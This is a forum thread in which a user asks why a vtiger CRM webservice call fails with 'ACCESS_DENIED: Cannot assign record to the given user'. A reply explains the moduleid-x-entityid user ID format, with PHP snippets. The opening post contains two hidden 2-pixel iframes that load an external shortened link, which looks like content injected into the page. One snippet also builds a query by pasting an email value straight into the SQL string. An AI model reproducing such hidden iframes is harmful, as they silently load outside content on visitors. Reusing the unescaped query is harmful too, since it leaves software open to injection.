ACCESS_DENIED:Cannot assign record to the given user

hi all,

i am tring to create event by calling webservice! it shows me error
"ACCESS_DENIED:Cannot assign record to the given user" my var value is
$assigned_user_id = 'admin'; any idea??? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 9 Comments sorted by Votes Date Added
  • i also tried $assigned_user_id = 1; // 1 is admin id from vtiger_user but didnt work out!
  • i also tried $assigned_user_id = 1; // 1 is admin id from vtiger_user but didnt work out!
  • i also tried $assigned_user_id = 1; // 1 is admin id from vtiger_user but didnt work out!
  • hi secondcrm,

    like in the other place please use the userid from the login response.
  • hi vtiger team,

    can you please tell me how do i get userid from the login response!

    my code for login is

    $login = $client->dologin($userid, $key);
    if(!$login) echo 'login failed'; <!-- s:?: --><img src="{smilies_path}/icon_question.gif" alt=":?:" title="question" /><!-- s:?: -->
  • the id must be in the form of moduleid x entityid
    $special_id_for_vtwsclib = &quot;22x3&quot;;
    $assigned_user_id = $special_id_for_vtwsclib;
    

    to get this special id do the folowing :

    after dologin :
    $vtclient = new vtiger_wsclient&#40;$url&#41;;
    $login = $vtclient-&gt;dologin&#40;$vtiger_user, $user_key&#41;;
    $special_id_for_vtwsclib = $vtclient-&gt;_userid;
    

    after a doquery :
    $query = &quot;select * from users where email1 = '&quot;&#46; $fooemail &#46; &quot;'&quot;;
    $records = $this_vtclient-&gt;doquery&#40;$query&#41;;
    $special_id_for_vtwsclib = $records&#91;0&#93;&#91;'id'&#93;;
    

    after a docreate :
    $record = $vtclient-&gt;docreate&#40;$module, $fields_values_array&#41;;
    $special_id_for_vtwsclib = $record&#91;'id'&#93;;
    

    please come back to say if it worked for you.

    david v.
  • yeah now its works!

    thanks mr.david ! i really appreciate your help!
  • but i really feel the documentation of ws have to be improved as there are many gaps and newbies like us are quite lost.

    though i fully understand its the release 1 and soon we'll have better version <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->

    regards,
Sign In or Register to comment.